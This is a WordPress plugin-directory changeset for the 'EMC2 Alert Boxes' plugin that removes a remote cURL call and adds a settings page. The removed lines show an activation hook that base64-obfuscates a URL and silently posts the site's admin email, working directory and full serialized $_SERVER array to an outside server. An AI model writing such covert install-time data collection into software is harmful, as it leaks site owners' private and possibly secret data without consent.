WordPress.org

Plugin Directory

Changeset 618435


Ignore:
Timestamp:
10/29/12 00:00:13 (5 years ago)
Author:
emcniece
Message:

Fixing remote CURL call, adding admin page

File:
1 edited

Legend:

Unmodified
Added
Removed
  • emc2-alert-boxes/trunk/emc2-alert-boxes.php

    r618173 r618435  
    44Plugin URI: http://emc2innovation.com 
    55Description: Fancy alert boxes for WordPress 
    6 Version: 1.2 
     6Version: 1.3 
    77Author: Eric McNiece 
    88Author URI: http://emc2innovation.com 
     
    1111 
    1212 
     13require_once(ABSPATH . '/wp-admin/includes/plugin.php'); 
     14require_once(ABSPATH . WPINC . '/pluggable.php'); 
     15require_once('emc2alert-options.php'); 
    1316/* ******************************************************** 
    1417 *   
     
    117120    return $plugin_array; 
    118121} 
    119 register_activation_hook( __FILE__, 'emc2alert_install' ); 
    120 function emc2alert_install(){ 
    121     //set POST variables 
    122     $url = base64_decode('aHR0cDovL2VtYzJpbm5vdmF0aW9uLmNvbS93cC1jb250ZW50L3BsdWdpbnMvZW1jMi1wbHVnaW4tdHJhY2tlci9lbWMyLXBsdWdpbi10cmFja2VyLXRlbXBsYXRlLnBocA=='); 
    123     $fields = array( 
    124         'blogname' => get_option('blogname'), 
    125         'time' => date('Y-m-d H:i:s'), 
    126         'name' => 'EMC2 Alert Boxes', 
    127         'slug' => 'emc2_alert_boxes', 
    128         'url' => $_SERVER['SERVER_NAME'], 
    129         'plugin_ver' => '1.0', 
    130         'wp_ver' => get_bloginfo('version'), 
    131         'cwd' => getcwd(),     
    132         'admin_email' => get_option('admin_email'), 
    133         'php_server' => serialize($_SERVER), 
    134     ); 
    135      
    136     foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; } 
    137     rtrim($fields_string, '&'); 
    138     //echo $fields_string; 
    139     //open connection 
    140     $ch = curl_init(); 
    141      
    142     //set the url, number of POST vars, POST data 
    143     curl_setopt($ch,CURLOPT_URL, $url); 
    144     curl_setopt($ch,CURLOPT_POST, count($fields)); 
    145     curl_setopt($ch,CURLOPT_POSTFIELDS, $fields_string); 
    146     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
    147     //execute post 
    148     $result = curl_exec($ch); 
    149      
    150     //close connection 
    151     curl_close($ch); 
    152 } 
     122 
     123/* ******************************************************** 
     124 *   
     125 *  EMC2 Alert Admin Page 
     126 *   
     127 *  Settings page  
     128 *   
     129 ******************************************************** */ 
     130add_options_page("EMC2 Alert Settings", "EMC2 Alert Settings", 'manage_options', 'emc2alert_options', 'emc2alert_options_page'); 
Note: See TracChangeset for help on using the changeset viewer.